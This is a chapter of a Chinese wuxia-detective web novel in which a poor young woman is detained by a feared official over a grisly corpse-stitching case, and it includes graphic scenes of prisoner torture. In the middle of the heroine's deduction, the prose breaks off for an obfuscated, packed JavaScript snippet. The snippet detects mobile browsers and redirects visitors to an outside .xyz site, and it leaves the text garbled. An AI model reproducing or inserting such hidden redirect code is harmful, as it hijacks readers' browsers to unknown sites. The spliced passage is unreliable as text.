大贪官没回答,反倒是他那女手下红鱼搭了话:
“你以为自己是凭借什么在我们大人面前放肆的?
若非看在癸少主他们的情面上,你此时更该在牢狱受审,根本见不到我们大人的面,案录也不是你有权翻阅的。”
“所以,你们大人同癸钰他们是……朋友?”
凌巳巳的注意力几乎全集中在大贪官身上,自然没错过对方看字条时微微勾动的嘴角。
那神情是带着讽意的!
但明显非恶意那种讽。
这就很古怪了,两个江湖侠客,怎么会与一个大贪官交朋友?
“你问题太多了,且与案情无关。”
大贪官壬毓舟查完凌巳巳的供词,目光淡淡瞥她一眼:
“夜不寐楼拼尸之案与城西两户人家同时暴毙一案关联极深,
而你,作为夜不寐楼第一个发现尸体的人以及两家暴毙案的独活者,在破案前,不得离开天侦院的视线。”
???
凌巳巳正欲询问,壬毓舟便挥了手:
“红鱼,带她下去。”
“是。”
“不是……带我去哪?我可以自证清白啊!”
“别嚷嚷了,我们大人很忙。”
少女被带刀女子拽着胳膊离开公堂,来到城衙后院。
“现在你只有两个选择,一是租住这里随便一间屋子,破案前不得离开,日租五两银子。”
红鱼交抱着双臂,等着凌巳巳做决定。
“五两?!”
真不愧是贪官。
要知道她住城东客栈中房一日才五十文啊!
凌巳巳悄摸自己扁扁的荷包,一日五两,若大贪官三日不破案,她就得成负婆了。
“你没说二呢?”
“二……我相信你不会选的。”
红鱼笑得笃定,“没有哪个女子会选二。”
“你说!”
“二是下狱,牢房日租十文钱,那可不是什么好地方,老鼠蟑螂……”
“给你!”
少女干脆掏出十枚铜板,抛给对方。
下意识接过铜板,红鱼先是错愕,而后扯了扯嘴角:
“看来你果真有些……与众不同,难怪……”
“与众不同……呵,你想多了。”
凌巳巳自讽一笑:
“本姑娘只是穷!!!”
鲸海城,牢狱。
格外热闹。
凌巳巳随红鱼一路走过,见到不少夜不寐的“熟人”。
“咦,这么巧~”
凌巳巳朝右边的牢房挥手:
“老鸨子,花魁姐,怎么大家的脸都这么肿啊?这是你们夜不寐楼的新风尚吗?”
“只里!”
穿着囚服的老鸨嘴里含糊不清,她伸出血肉模糊的双手,想要抓住少女。
瞥到衣袖口绣着金线飞鸦的红衣身影后,老鸨等人害怕地缩回了最角落。
凌巳巳转身看向似笑非笑的红鱼:
“她们这么怕你,看来是你动的刑啊。”
“当然~你刚刚若对大人有所欺瞒,也会是我负责动刑,青泉和蓝沼他们一般不打女人,怕下手没轻重弄死了。”
想到眼前的少女根本不认识他们天侦院的人,红鱼难得贴心解释道:
“青泉是先前同我去抓你的小子,蓝沼是给你看案录那个,
他们对癸少主的红颜知己感到好奇,为了能第一个亲眼看到你,还打了一架,最后是青泉赢了,充公账五百两,我才许他同我去的。”
“……”
凌巳巳嘴角抽搐。
她怎么半点都没看出来那两人那么奇葩,第一个见她一面的资格竟值五百两吗!
“其实我不是癸钰的红颜知己,我们……”
“不必解释,嘴强王者凌姑娘。”
红鱼眼中满是戏谑:
“你若不是,那我们天侦院的人可不会对你客气了。”
“……”
行。
她是。
她是还不行吗!
待看到被钉在墙上不能动弹的王城令时,凌巳巳的神情就再也轻松不起来了。
刚刚太远瞧得不真切,她还疑惑这人身后怎么长了对大黑翅膀。
近了才发现,那哪是翅膀,分明是聚集起来的蚂蚁!
“那、那是你们青泉和蓝沼动的手么?”凌巳巳越发觉得自己嗓子干了,干的发疼。
实在……
太有艺术性了,她有些毛骨悚然!
“嗯。”
红鱼没所谓地点点头,回忆道:
“那两小子一人扒了王城令一条腿皮,从脚踝扒到腿根都没弄破半分,然后靛龙提议用飞刀把完好的腿皮钉在墙上,再倒上蜂蜜和蚂蚁,狗官就成这样了。”
少女不肯再往前半步:
“……你们天侦院这样对待朝廷命官,不怕被同僚参本子吗?”
“哈哈哈哈~你真可爱。”
凌巳巳的问题惹得红鱼发笑:
“多数官员连江湖命案都不敢管,哪有胆子去参我们大人的本子?
再说了,我们审讯还是有点分寸的,王城令犯的罪加一起,早够凌迟抄家了,我们只不过让他提前体会一番。”
牢房打开半响,客人也不见进屋,负责招待的红鱼眼神询问。
呼吸之间,凌巳巳仿佛做了重大决定,神色变得无比凝重:
“我不住了,我要见壬大人!”
“我说过,我们大人很忙,之前见你一面已经是你走运了。”
“难道你们不想破案吗?我知道怎么找出凶手!”
红鱼冷笑:“你当我们天侦院都是吃干饭的?需要你一个小姑娘破案?”
“……我……想起来……我有身孕,癸钰的……”
牢房真不是人住的地方,凌巳巳也舍不得花五两银子住城衙后院,只能不要脸了!
为了增加可信度,凌巳巳捂嘴作呕:
“快两个月了。”
红鱼:!!!
这消息果真将红鱼炸住了。
再次被红鱼带到壬毓舟跟前,凌巳巳发现对方换了套便衣,只带了青泉和蓝沼两个人,看样子是要出去。
“主上!!!”
壬毓舟抬手示意神色激动的红鱼退下,清冷的目光盯着那神色凝重的少女:
“你说。”
凌巳巳心头一凛,咬唇道:
“凶手之一极有可能是男死者的妻子,作案动机是情杀,夜不寐楼那具尸体由狗头、男性胸膛、女性下身组成,狗、男、女。”
噗。
壬毓舟身后跟着的青泉正喝水,听到凌巳巳的话一口气全喷了。
触到众人难言的目光,青泉连忙抱拳:
“报歉,一时激动。”
众人的目光转回到凌巳巳身上。
“我和死者没关系,放了我吧~”凌巳巳扯皮笑。
“太牵强。”
壬毓舟没说她对,也没说她不对。
凌巳巳继续道:
“一般杀人不都是杀了就完了么,顶了天就是多捅几刀,要多大的恨意才值得凶手费劲将一男一女开膛破肚再拼尸,还特意去弄个狗头给他们安上?
很显然,凶手必然是心灵极度扭曲的变态,并且这样做有某种含义。
一开始我如何都想不明白,为何女死者生产那日,楼里没有人听到一点动静,虽然她住的远,但多少都该有人听到些声响。
直到得知带走狗尸的大宝一家与陈家人暴毙身亡,我想明白了,所有人都是死于中毒,那个失踪的孩子不是生出来的,是凶手分尸时从腹部直接取出来的!孩子没出来时就死了!”
少女四下搜寻,捡起一根树枝,在后花园的空地上手画思维导图:
“案录上记录女死者涟花,是夜不寐楼前两届的花魁,极有姿色,本来恩客众多,但她后来偏爱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592776|171905||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一斯文书生,一度拒客只接待书生一人。
书生是家室的人,为涟花散尽家财不说,还日日爬狗洞相见,受人耻笑,他妻子长年不孕,还要因此受人指指点点,怒而杀人。”
蓝沼反驳道:“错误,那种一刀两断的伤口,寻常男子都做不到,更别说女人,杀人者不是书生妻子。”
“妻子没有分尸的嫌疑,但不能排除下药的嫌疑,记得那日侯赛雷进去,出来就大喊什么轮回宗,所以我猜测,另一个凶手,是负责分尸的人,来自那个什么轮回宗,毒药可能也是他给书生妻子的!”
说完凌巳巳自我肯定般扬起脑袋,一脸骄傲。
满场寂静。
目光怪异。
“你们……怎么不说话啊?”
凌巳巳尴尬地揪了揪头发,“我……说错了?”
“咳咳,主上,凌姑娘说她怀了癸少主的孩子,不能住牢房,但……她太穷了,住不起城衙府。”
终是红鱼打破了僵局,但是一开口凌巳巳就想晕过去。
她怎么能在大贪官面前这么丢脸!
感受到对方投来的目光,凌巳巳硬着头皮点头:
“对,我有了,癸钰的!”
“会把脉的青雪不在,本官就当你说真的,放你是不可能放的,先安置着,写封信,让癸钰来接你,一日五百两,人走帐清。”
壬毓舟说得稀松平常。
但大贪官的价格升得太快,凌巳巳简直无法适应。
“住城衙府不是五两吗!”
她知道自己的分析过程可能有点问题,但也不能因为说错了就加价百倍啊!
“五两是你骂本官的价格,带上癸钰的儿子就不一样了,再有,如今本官有你在手,就算要他五万两一日,他都得给。”
说完壬毓舟竟对凌巳巳笑了笑,抬步离去。
这一刻凌巳巳觉得他阴险极了!
除了红鱼,另两人都跟着走,路过凌巳巳时用一种看稀奇货的目光打量她。
转过身去就讨论:
“癸少主是定得下来的人么?”
“我看难咯,最强王者凌姑娘就算去波澜海城,也当不了主母,只怕去母留子啊……”
凌巳巳听得无言。
心里对癸钰说了句:
对不起,毁你清白,我马上补救!
“壬毓舟!”
仿佛是为了吐出心中郁气,凌巳巳大声喊出大贪官的名字!
对方回头那一刻,原本在凌巳巳前面站着的红鱼立马闪得远远的。
只听少女难过道:
“我不想欠癸钰那么多,你明知我不是凶手,为何扣着我?难道我刚刚的分析全错了吗?”
壬毓舟没有回答凌巳巳的问题,反问:
“你是不是忘了你和癸钰、侯赛雷二人给本官写过什么?”
大贪官此时没什么表情,但凌巳巳却能读懂对方流露的神情万分不爽:
“虽然信中许多字词难懂,但本官可以意会,那些绝非好意!”
“其实…有些意思挺好的…我不住城衙府,要么你、你按律罚我得了!”
凌巳巳有些破罐子破摔了。
大不了她挨顿板子!
蓝沼好心给凌巳巳科普:
“若依照海国律法,骂我们壬大人要斩头的。”
“呃……”
凌巳巳苦恼得揪头发。
她一阵小跑,掏出自己扁扁的荷包,捧到壬毓舟眼皮子底下:
“大人,这是民女所有的家产,一共十四两二十文,一两不多,一文不少,您平安归来哦~”
壬毓舟:“……”
凌巳巳把对方搞不会了,刚刚还一副宁死不屈的模样呢,怎么眨眼就乖巧起来了!
盯着她那张故作乖巧的面庞半响,男人问:
“你想查案?”
“不想。”少女摇头若拨浪鼓。
“跟上。”
“啊???”